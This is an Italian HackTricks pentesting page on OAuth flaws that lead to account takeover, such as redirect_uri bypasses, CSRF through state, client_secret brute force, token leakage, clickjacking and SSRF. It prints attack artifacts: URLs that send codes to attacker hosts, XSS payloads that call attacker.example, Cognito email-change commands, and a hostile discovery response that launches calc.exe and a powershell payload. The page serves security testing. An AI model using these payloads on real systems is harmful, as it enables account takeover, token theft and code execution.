OAuth to Account takeover

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

Informazioni di base

OAuth offre diverse versioni, con informazioni fondamentali accessibili su OAuth 2.0 documentation. Questa discussione si concentra principalmente sul largamente usato OAuth 2.0 authorization code grant type, che fornisce un framework di autorizzazione che permette a un’applicazione di accedere o eseguire azioni sull’account di un utente in un’altra applicazione (il server di autorizzazione).

Considera un sito ipotetico https://example.com, progettato per mostrare tutti i tuoi post sui social media, inclusi quelli privati. Per farlo si utilizza OAuth 2.0. https://example.com chiederà il tuo permesso per accedere ai tuoi post sui social media. Di conseguenza, su https://socialmedia.com apparirà una schermata di consenso che illustra le autorizzazioni richieste e lo sviluppatore che effettua la richiesta. Una volta che autorizzi, https://example.com ottiene la possibilità di accedere ai tuoi post per tuo conto.

È essenziale comprendere i seguenti componenti nel framework OAuth 2.0:

  • resource owner: Tu, come utente/entità, autorizzi l’accesso alla tua risorsa, ad esempio i post del tuo account sui social media.
  • resource server: Il server che gestisce le richieste autenticate dopo che l’applicazione ha ottenuto un access token per conto del resource owner, ad es. https://socialmedia.com.
  • client application: L’applicazione che richiede l’autorizzazione dal resource owner, come https://example.com.
  • authorization server: Il server che emette access tokens alla client application dopo la corretta autenticazione del resource owner e l’ottenimento dell’autorizzazione, ad es. https://socialmedia.com.
  • client_id: Un identificatore pubblico e univoco per l’applicazione.
  • client_secret: Una chiave riservata, nota solo all’applicazione e al server di autorizzazione, usata per generare access_tokens.
  • response_type: Un valore che specifica il tipo di token richiesto, come code.
  • scope: Il livello di accesso che la client application sta richiedendo al resource owner.
  • redirect_uri: L’URL a cui l’utente viene reindirizzato dopo l’autorizzazione. Tipicamente deve corrispondere all’URL di redirect preregistrato.
  • state: Un parametro per mantenere dati attraverso il reindirizzamento dell’utente verso e dal authorization server. La sua unicità è critica per fungere da meccanismo di protezione CSRF.
  • grant_type: Un parametro che indica il tipo di grant e il tipo di token che verrà restituito.
  • code: Il codice di autorizzazione proveniente dall’authorization server, usato insieme a client_id e client_secret dalla client application per ottenere un access_token.
  • access_token: Il token che la client application usa per le richieste API per conto del resource owner.
  • refresh_token: Permette all’applicazione di ottenere un nuovo access_token senza richiedere nuovamente l’interazione dell’utente.

Flusso

Il flusso OAuth effettivo procede come segue:

  1. Vai su https://example.com e selezioni il pulsante “Integrate with Social Media”.
  2. Il sito invia una richiesta a https://socialmedia.com chiedendo la tua autorizzazione per consentire all’applicazione di https://example.com di accedere ai tuoi post. La richiesta è strutturata come:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Ti viene quindi mostrata una pagina di consenso.
  2. Dopo la tua approvazione, Social Media invia una risposta al redirect_uri con i parametri code e state:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com utilizza questo code, insieme al suo client_id e client_secret, per fare una richiesta server-side per ottenere un access_token per conto tuo, permettendo l’accesso alle autorizzazioni a cui hai acconsentito:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Finalmente, il processo si conclude mentre https://example.com utilizza il tuo access_token per effettuare una chiamata API a Social Media per accedere

Vulnerabilities

Open redirect_uri

Per RFC 6749 §3.1.2, l’authorization server deve reindirizzare il browser solo a pre-registered, exact redirect URIs. Qualsiasi debolezza qui permette a un attacker di inviare una vittima tramite un URL di autorizzazione malevolo in modo che l’IdP consegni il code (e lo state) della vittima direttamente a un endpoint controllato dall’attacker, che poi può riscattarlo e raccogliere i token.

Tipico flusso d’attacco:

  1. Creare https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback e inviarlo alla vittima.
  2. La vittima si autentica e approva gli scope.
  3. L’IdP reindirizza a attacker.tld/callback?code=<victim-code>&state=... dove l’attacker registra la richiesta e scambia immediatamente il code.

Common validation bugs to probe:

  • No validation – qualsiasi URL assoluto viene accettato, risultando in furto immediato del code.
  • Weak substring/regex checks on the host – bypass con lookalike come evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, o match.com@evil.com.
  • IDN homograph mismatches – la validazione avviene sulla forma punycode (xn--), ma il browser reindirizza al dominio Unicode controllato dall’attacker.
  • Arbitrary paths on an allowed host – puntare redirect_uri a /openredirect?next=https://attacker.tld o a qualsiasi endpoint XSS/contenuto-utente perde il code tramite redirect concatenati, Referer headers, o JavaScript iniettato.
  • Directory constraints without normalization – pattern come /oauth/* possono essere bypassati con /oauth/../anything.
  • Wildcard subdomains – accettare *.example.com significa che qualsiasi takeover (dangling DNS, S3 bucket, ecc.) fornisce immediatamente un callback valido.
  • Non-HTTPS callbacks – permettere URI http:// dà a attacker di rete (Wi-Fi, proxy aziendale) l’opportunità di cogliere il code in transito.

Rivedere anche parametri ausiliari in stile redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, ecc.) e il documento di discovery OpenID (/.well-known/openid-configuration) per endpoint aggiuntivi che potrebbero ereditare gli stessi bug di validazione.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Restringere il redirect_uri a “owned/first-party domains” non aiuta se qualsiasi dominio allowlisted espone attacker-controlled paths or execution contexts (piattaforme legacy per app, namespace utente, upload CMS, ecc.). Se il flusso di login OAuth/federated returns tokens in the URL (query o hash), un attacker può:

  1. Avviare un flow legittimo per ottenere un pre-token (es. un etoken in un flusso multi-step Accounts Center/FXAuth).
  2. Inviare alla vittima un URL di autorizzazione che imposta il dominio allowlisted come redirect_uri/base_uri ma punta il next/path in uno namespace controllato dall’attacker (es. https://apps.facebook.com/<attacker_app>).
  3. Dopo che la vittima approva, l’IdP reindirizza al percorso controllato dall’attacker con valori sensibili nell’URL (token, blob, code, ecc.).
  4. JavaScript su quella pagina legge window.location ed esfiltra i valori nonostante il dominio sia “trusted.”
  5. Riprodurre i valori catturati contro endpoint privilegiati downstream che si aspettano solo i token trasmessi tramite redirect. Esempi dal flusso FXAuth:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS in redirect implementation

Come menzionato in questo bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html potrebbe essere possibile che il redirect URL venga riflesso nella risposta del server dopo che l’utente si autentica, risultando vulnerabile a XSS. Payload possibile da testare:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

Pagine di errore callback OAuth: error_description riflesso, phishing da origine fidata, e leak di state codificato

Alcune integrazioni OAuth usano una pagina di callback di prima parte per mostrare i fallimenti di login dopo che l’IdP reindirizza il browser indietro. Queste pagine hanno alto valore perché già girano su un’origine attendibile e spesso consumano parametri controllati dall’attaccante come error, error_description, message, description, o state.

  • Reflecting error_description into HTML senza una rigorosa codifica dell’output trasforma la callback in una pagina di phishing da origine fidata. Anche quando <script> è filtrato, HTML injection può comunque spoofare l’intera pagina di errore e istruire la vittima a compiere azioni scelte dall’attaccante.
  • WAFs often key on common handlers come onload/onerror. Quando i payload normali vengono bloccati, prova eventi specifici del browser o meno comuni che i difensori potrebbero non mettere in blacklist. Un esempio pratico è onpagereveal di Safari, che può eseguirsi quando la pagina di callback malevola viene mostrata in Safari:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
  • Test self-referential payloads: se l’HTML/JS iniettato può riaprire o ricaricare lo stesso callback URL, potresti ottenere client-side resource exhaustion, popup/tab ripetuti, o log flooding ad ogni render.
  • Always decode opaque-looking state values. Molte implementazioni codificano in Base64 JSON o metadata utente e presumono che sia “nascosto”. Base64 è reversibile, quindi i callback URL possono leak PII come indirizzi email, identificatori tenant, percorsi di ritorno o stato interno del workflow.
  • Treat URL exposure as part of the bug: qualsiasi cosa posta nel callback URL può poi apparire nella cronologia del browser, reverse proxy, load balancer, log dell’app, strumenti di monitoring, screenshot e negli header Referer se la pagina carica risorse di terze parti.

Quick checks during testing:

  1. Trigger both success and failure OAuth callbacks and capture the full URL plus rendered HTML.
  2. Replay the callback while mutating error_description, message, and similar error fields with plain text, HTML, and event-handler payloads.
  3. Decode state as Base64/URL-safe Base64 and inspect it for PII or application state that should have stayed server-side.
  4. Repeat browser-specific payloads in Safari/WebKit when the WAF blocks standard inline-event XSS probes.

CSRF - Gestione impropria del parametro state

The state parameter is the Authorization Code flow CSRF token: the client must generate a cryptographically random value per browser instance, persist it somewhere only that browser can read (cookie, local storage, etc.), send it in the authorization request, and reject any response that does not return the same value. Whenever the value is static, predictable, optional, or not tied to the user’s session, the attacker can finish their own OAuth flow, capture the final ?code= request (without sending it), and later coerce a victim browser into replaying that request so the victim account becomes linked to the attacker’s identity provider profile.

The replay pattern is always the same:

  1. The attacker authenticates against the IdP with their account and intercepts the last redirect containing code (and any state).
  2. They drop that request, keep the URL, and later abuse any CSRF primitive (link, iframe, auto-submitting form) to force the victim browser to load it.
  3. If the client does not enforce state, the application consumes the attacker’s authorization result and logs the attacker into the victim’s app account.

A practical checklist for state handling during tests:

  • Missing state entirely – se il parametro non appare mai, tutto il login è vulnerabile a CSRF.
  • state not required – rimuovilo dalla richiesta iniziale; se l’IdP continua a emettere code che il client accetta, la difesa è opt-in.
  • Returned state not validated – manometti il valore nella risposta (Burp, MITM proxy). Accettare valori non corrispondenti significa che il token memorizzato non viene mai confrontato.
  • Predictable or purely data-driven state – molte app mettono percorsi di redirect o JSON blob dentro state senza miscelare entropia, permettendo agli attacker di indovinare valori validi e riprodurre i flow. Prepend/append sempre forte entropia prima di codificare i dati.
  • state fixation – se l’app permette agli utenti di fornire il valore state (es. tramite URL di autorizzazione craftati) e lo riusa nel flow, un attacker può fissare un valore noto e riusarlo su più vittime.

PKCE can complement state (especially for public clients) by binding the authorization code to a code verifier, but web clients must still track state to prevent cross-user CSRF/account-linking bugs.

Pre Account Takeover

  1. Without Email Verification on Account Creation: Gli attacker possono creare preventivamente un account usando l’email della vittima. Se la vittima poi usa un servizio third-party per il login, l’app potrebbe collegare inavvertitamente quell’account third-party all’account pre-creato dall’attacker, portando ad accesso non autorizzato.
  2. Exploiting Lax OAuth Email Verification: Gli attacker possono sfruttare servizi OAuth che non verificano le email registrandosi con il loro servizio e poi cambiando l’email dell’account con quella della vittima. Questo metodo comporta un rischio simile di accesso non autorizzato, analogo al primo scenario ma tramite un vettore diverso.

Disclosure of Secrets

The client_id is intentionally public, but the client_secret must never be recoverable by end users. Authorization Code deployments that embed the secret in mobile APKs, desktop clients, or single-page apps effectively hand that credential to anyone who can download the package. Always inspect public clients by:

  • Unpacking the APK/IPA, desktop installer, or Electron app and grepping for client_secret, Base64 blobs that decode to JSON, or hard-coded OAuth endpoints.
  • Reviewing bundled config files (plist, JSON, XML) or decompiled strings for client credentials.

Once the attacker extracts the secret they only need to steal any victim authorization code (via a weak redirect_uri, logs, etc.) to independently hit /token and mint access/refresh tokens without involving the legitimate app. Treat public/native clients as incapable of holding secrets—they should instead rely on PKCE (RFC 7636) to prove possession of a per-instance code verifier instead of a static secret. During testing, confirm whether PKCE is mandatory and whether the backend actually rejects token exchanges that omit either the client_secret or a valid code_verifier.

Client Secret Bruteforce

You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Una volta che il client ha il code and state, se emergono in location.href o document.referrer e vengono inoltrati a terze parti, leakano. Due pattern ricorrenti:

  • Classic Referer leak: dopo il redirect OAuth, qualsiasi navigazione che mantenga ?code=&state= nell’URL li includerà nell’header Referer inviato a CDN/analytics/ads.
  • Telemetry/analytics confused deputy: alcuni SDK (pixels/JS loggers) reagiscono agli eventi postMessage e poi inviare l’attuale location.href/referrer alle API backend usando un token fornito nel messaggio. Se puoi iniettare il tuo token in quel flusso (es. tramite un relay postMessage controllato dall’attaccante), puoi poi leggere lo storico/log delle richieste API dello SDK e recuperare gli OAuth artifacts della vittima incorporati in quelle richieste.

Access Token Stored in Browser History

La garanzia fondamentale del grant Authorization Code è che access tokens never reach the resource owner’s browser. Quando le implementazioni leakano token client-side, qualsiasi bug minore (XSS, Referer leak, proxy logging) diventa compromissione immediata dell’account. Controlla sempre:

  • Tokens in URLs – se access_token appare nella query/fragment, finisce nella cronologia del browser, nei log del server, in analytics e negli header Referer inviati a terze parti.
  • Tokens transiting untrusted middleboxes – il ritorno dei token via HTTP o tramite proxy di debugging/corporate permette agli osservatori di rete di catturarli direttamente.
  • Tokens stored in JavaScript state – store di React/Vue, variabili globali o blob JSON serializzati espongono i token a ogni script sull’origine (inclusi payload XSS o estensioni malevole).
  • Tokens persisted in Web StoragelocalStorage/sessionStorage conservano i token molto dopo il logout su dispositivi condivisi e sono accessibili via script.

Qualsiasi di questi riscontri solitamente eleva bug altrimenti “low” (come un bypass CSP o DOM XSS) in un takeover completo delle API perché l’attaccante può semplicemente leggere e riutilizzare il leaked bearer token.

Everlasting Authorization Code

I Authorization Code devono essere short-lived, single-use, and replay-aware. Quando valuti un flusso, cattura un code e:

  • Test the lifetime – RFC 6749 raccomanda minuti, non ore. Prova a riscattare il code dopo 5–10 minuti; se funziona ancora, la finestra di esposizione per qualsiasi codice leakato è eccessiva.
  • Test sequential reuse – invia lo stesso code due volte. Se la seconda richiesta restituisce un altro token, gli attaccanti possono clonare le sessioni indefinitamente.
  • Test concurrent redemption/race conditions – spara due richieste token in parallelo (Burp intruder, turbo intruder). Issuer deboli a volte concedono entrambi.
  • Observe replay handling – un tentativo di riuso non dovrebbe solo fallire ma anche revocare qualsiasi token già emesso da quel code. Altrimenti, un replay rilevato lascia attivo il primo token dell’attaccante.

Combinare un code che consente replay con qualsiasi redirect_uri o bug di logging consente accesso persistente all’account anche dopo che la vittima completa il login legittimo.

Authorization/Refresh Token not bound to client

Se puoi ottenere il authorization code e riscattarlo per un client/app diverso, puoi takeover altri account. Testa per binding debole tramite:

  • Catturare un code per app A e inviarlo all’endpoint token di app B; se ricevi comunque un token, l’audience binding è rotto.
  • Provare endpoint di minting token first-party che dovrebbero essere limitati ai propri client ID; se accettano state/app_id arbitrari mentre validano solo il code, effettui praticamente uno authorization-code swap per generare token first-party con privilegi più elevati.
  • Verificare se il binding del client ignora mismatch di nonce/redirect URI. Se una pagina di errore carica comunque SDK che loggano location.href, combina con Referer/telemetry leaks per rubare i code e riscattarli altrove.

Qualsiasi endpoint che scambia code → token deve verificare il client emittente, il redirect URI e il nonce; altrimenti, un code rubato da qualsiasi app può essere upgradato a un first-party access token.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In questo bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ puoi vedere che il token che AWS Cognito restituisce all’utente potrebbe avere permessi sufficienti per sovrascrivere i dati utente. Pertanto, se puoi cambiare l’email dell’utente con un’altra email, potresti essere in grado di prendere il controllo di altri account.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

Per informazioni più dettagliate su come abusare di AWS Cognito vedi AWS Cognito - Unauthenticated Enum Access.

Abuso dei token di altre app

As mentioned in this writeup, i flussi OAuth che si aspettano di ricevere il token (e non un code) possono essere vulnerabili se non verificano che il token appartenga all’app.

Questo perché un attaccante potrebbe creare un’application supporting OAuth and login with Facebook (per esempio) nella propria applicazione. Poi, una volta che una vittima effettua il login con Facebook nell’attackers application, l’attaccante potrebbe ottenere il OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.

Caution

Pertanto, se l’attaccante riesce a far sì che l’utente acceda alla sua OAuth application, potrà prendere il controllo dell’account della vittima in applicazioni che si aspettano un token e non verificano se il token è stato concesso al loro app ID.

According to this writeup, era possibile far aprire a una vittima una pagina con una returnUrl che punta all’host dell’attaccante. Questa informazione sarebbe stored in a cookie (RU) e in un later step il prompt chiederà all’user se vuole dare accesso a quell’host dell’attaccante.

Per bypassare questo prompt, era possibile aprire una tab per iniziare l’Oauth flow che avrebbe impostato questo cookie RU usando la returnUrl, chiudere la tab prima che il prompt venga mostrato e aprire una nuova tab senza quel valore. In quel caso, il prompt won’t inform about the attackers host, ma il cookie sarebbe impostato su di esso, quindi il token will be sent to the attackers host nella redirezione.

Bypass dell’interazione del prompt

Come spiegato in this video, alcune implementazioni OAuth consentono di indicare il parametro GET prompt come None (&prompt=none) per prevent users being asked to confirm l’accesso richiesto in un prompt sul web se sono già loggati nella piattaforma.

response_mode

As explained in this video, può essere possibile indicare il parametro response_mode per specificare dove vuoi che il code venga fornito nell’URL finale:

  • response_mode=query -> Il code viene fornito all’interno di un parametro GET: ?code=2397rf3gu93f
  • response_mode=fragment -> Il code viene fornito all’interno del frammento dell’URL #code=2397rf3gu93f
  • response_mode=form_post -> Il code viene fornito all’interno di un form POST con un input chiamato code e il valore
  • response_mode=web_message -> Il code viene inviato in un post message: window.opener.postMessage({"code": "asdasdasd...

I dialog di consenso/login OAuth sono obiettivi ideali per il clickjacking: se possono essere inseriti in un iframe, un attaccante può sovrapporre grafica personalizzata, nascondere i veri pulsanti e ingannare gli utenti facendoli approvare scope pericolosi o collegare account. Costruisci PoC che:

  1. Carica l’URL di autorizzazione IdP all’interno di un <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Usa trucchi di absolute positioning/opacity per allineare pulsanti falsi con i controlli nascosti Allow/Approve.
  3. Opzionalmente pre-compila i parametri (scopes, redirect URI) in modo che l’approvazione rubata avvantaggi immediatamente l’attaccante.

Durante i test verifica che le pagine IdP emettano X-Frame-Options: DENY/SAMEORIGIN o una restrittiva Content-Security-Policy: frame-ancestors 'none'. Se nessuna delle due è presente, dimostra il rischio con tool come NCC Group’s clickjacking PoC generator e registra quanto facilmente una vittima autorizza l’app dell’attaccante. Per ulteriori idee di payload vedi Clickjacking.

OAuth ROPC flow - 2 FA bypass

According to this blog post, questo è un OAuth flow che permette di effettuare il login via username e password. Se durante questo semplice flow viene restituito un token con accesso a tutte le azioni che l’utente può eseguire, allora è possibile bypassare la 2FA usando quel token.

ATO on web page redirecting based on open redirect to referrer

This blogpost descrive come sia stato possibile abusare di un open redirect usando il valore del referrer per abusare di OAuth e ottenere un ATO. L’attacco è stato:

  1. La vittima accede alla pagina web dell’attaccante
  2. La vittima apre il link malevolo e un opener avvia il Google OAuth flow con response_type=id_token,code&prompt=none come parametri aggiuntivi usando come referrer the attackers website.
  3. Nell’opener, dopo che il provider autorizza la vittima, la rimanda al valore del parametro redirect_uri (sito della vittima) con un codice 30X che mantiene comunque il sito dell’attaccante nel referrer.
  4. Il sito della vittima trigger the open redirect based on the referrer reindirizzando l’utente vittima al sito dell’attaccante; poiché il respose_type era id_token,code, il code verrà inviato all’attaccante nel fragment dell’URL permettendogli di take over l’account dell’utente via Google nel sito della vittima.

SSRFs parameters

Check this research Per ulteriori dettagli su questa tecnica.

La Dynamic Client Registration in OAuth funge da vettore meno ovvio ma critico per vulnerabilità di sicurezza, specificamente per attacchi di Server-Side Request Forgery (SSRF). Questo endpoint permette ai server OAuth di ricevere dettagli sulle applicazioni client, inclusi URL sensibili che potrebbero essere sfruttati.

Punti chiave:

  • Dynamic Client Registration è spesso mappata su /register e accetta dettagli come client_name, client_secret, redirect_uris, e URL per loghi o JSON Web Key Sets (JWKs) tramite richieste POST.
  • Questa feature aderisce alle specifiche definite in RFC7591 e OpenID Connect Registration 1.0, che includono parametri potenzialmente vulnerabili a SSRF.
  • Il processo di registrazione può involontariamente esporre i server a SSRF in diversi modi:
    • logo_uri: Un URL per il logo dell’applicazione client che potrebbe essere recuperato dal server, scatenando SSRF o portando a XSS se l’URL è gestito male.
    • jwks_uri: Un URL al documento JWK del client che, se creato in modo malevolo, può causare al server di effettuare richieste in uscita verso un server controllato dall’attaccante.
    • sector_identifier_uri: Fa riferimento a un array JSON di redirect_uris, che il server potrebbe recuperare, creando un’opportunità per SSRF.
    • request_uris: Elenca gli URI di richiesta consentiti per il client, che possono essere sfruttati se il server recupera questi URI all’inizio del processo di autorizzazione.

Strategia di sfruttamento:

  • SSRF può essere innescato registrando un nuovo client con URL malevoli in parametri come logo_uri, jwks_uri o sector_identifier_uri.
  • Mentre lo sfruttamento diretto via request_uris può essere mitigato da controlli di whitelist, fornire un request_uri pre-registrato e controllato dall’attaccante può facilitare SSRF durante la fase di autorizzazione.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

La ricerca su CVE-2025-6514 (che impatta client mcp-remote come Claude Desktop, Cursor o Windsurf) mostra come la dynamic OAuth discovery diventi una primitiva RCE ogni volta che il client inoltra i metadata IdP direttamente al sistema operativo. Il server MCP remoto restituisce un authorization_endpoint controllato dall’attaccante durante lo scambio di discovery (/.well-known/openid-configuration o qualsiasi metadata RPC). mcp-remote ≤0.1.15 avrebbe poi chiamato l’handler URL di sistema (start, open, xdg-open, ecc.) con qualunque stringa arrivasse, quindi qualsiasi scheme/percorso supportato dall’OS veniva eseguito localmente.

Flusso d’attacco

  1. Punta l’agente desktop verso un server MCP/OAuth ostile (npx mcp-remote https://evil). L’agente riceve 401 più metadata.
  2. Il server risponde con JSON come:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. Il client avvia l’OS handler per l’URI fornito. Windows accetta payload come file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux accettano file:///Applications/Calculator.app/... o perfino schemi personalizzati come cmd://bash -lc '<payload>' se registrati.
  2. Poiché ciò avviene prima di qualsiasi interazione dell’utente, basta configurare il client per comunicare con il server dell’attaccante per ottenere l’esecuzione di codice.

Come testare

  • Bersaglia qualsiasi desktop/agent compatibile OAuth che esegue discovery via HTTP(S) e apre localmente gli endpoint restituiti (Electron apps, CLI helpers, thick clients).
  • Intercetta o ospita la risposta di discovery e sostituisci authorization_endpoint, device_authorization_endpoint, o campi simili con file://, cmd://, percorsi UNC, o altri schemi pericolosi.
  • Osserva se il client valida lo scheme/host. La mancanza di validazione porta all’esecuzione immediata nel contesto dell’utente e dimostra il problema.
  • Ripeti con diversi schemi per mappare l’intera superficie d’attacco (es., ms-excel:, data:text/html,, gestori di protocollo personalizzati) e dimostrare la portata cross-platform.

OAuth providers Race Conditions

Se la piattaforma che stai testando è un OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth, il campo sub identifica univocamente un utente, ma il suo formato varia a seconda dell’Authorization Server. Per standardizzare l’identificazione dell’utente, alcuni client usano email o user handle. Tuttavia, questo è rischioso perché:

  • Alcuni Authorization Server non garantiscono che queste proprietà (come l’email) rimangano immutabili.
  • In alcune implementazioni—come “Login with Microsoft”—il client si affida al campo email, che è controllato dall’utente in Entra ID e non verificato.
  • Un attaccante può sfruttare questo creando la propria organizzazione Azure AD (e.g., doyensectestorg) e utilizzandola per eseguire un Microsoft login.
  • Anche se l’Object ID (memorizzato in sub) è immutabile e sicuro, l’affidamento su un campo email mutabile può consentire un account takeover (per esempio, dirottando un account come victim@gmail.com).

Client Confusion Attack

In un Client Confusion Attack, un’applicazione che usa l’OAuth Implicit Flow non verifica che l’access token finale sia stato generato specificamente per il proprio Client ID. Un attaccante mette in piedi un sito pubblico che usa l’OAuth Implicit Flow di Google, inducendo migliaia di utenti a effettuare il login e raccogliendo così access token destinati al sito dell’attaccante. Se questi utenti hanno anche account su un altro sito vulnerabile che non valida il Client ID del token, l’attaccante può riutilizzare i token raccolti per impersonare le vittime e prendere il controllo dei loro account.

Scope Upgrade Attack

Il tipo Authorization Code Grant prevede comunicazioni server-to-server sicure per la trasmissione dei dati utente. Tuttavia, se l’Authorization Server si fida implicitamente di un parametro scope nella Access Token Request (un parametro non definito nella RFC), un’applicazione malevola potrebbe elevare i privilegi di un authorization code richiedendo uno scope maggiore. Dopo che l’Access Token è stato generato, il Resource Server deve verificarlo: per i token JWT ciò implica controllare la firma JWT ed estrarre dati come client_id e scope, mentre per token a stringa casuale il server deve interrogare l’Authorization Server per recuperare i dettagli del token.

Redirect Scheme Hijacking

Nelle implementazioni OAuth mobile, le app usano custom URI schemes per ricevere redirect con Authorization Codes. Tuttavia, poiché più app possono registrare lo stesso scheme su un dispositivo, l’assunzione che solo il client legittimo controlli il redirect URI viene violata. Su Android, ad esempio, un Intent URI come com.example.app:// oauth viene intercettato in base allo scheme e ai filtri opzionali definiti nell’app’s intent-filter. Poiché la risoluzione degli intent di Android può essere ampia—soprattutto se è specificato solo lo scheme—un attaccante può registrare un’app malevola con un intent filter studiato per dirottare l’authorization code. Questo può enable an account takeover sia tramite interazione dell’utente (quando più app sono idonee a gestire l’intent) sia tramite tecniche di bypass che sfruttano filtri eccessivamente specifici, come dettagliato dal flowchart di Ostorlab.

References

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks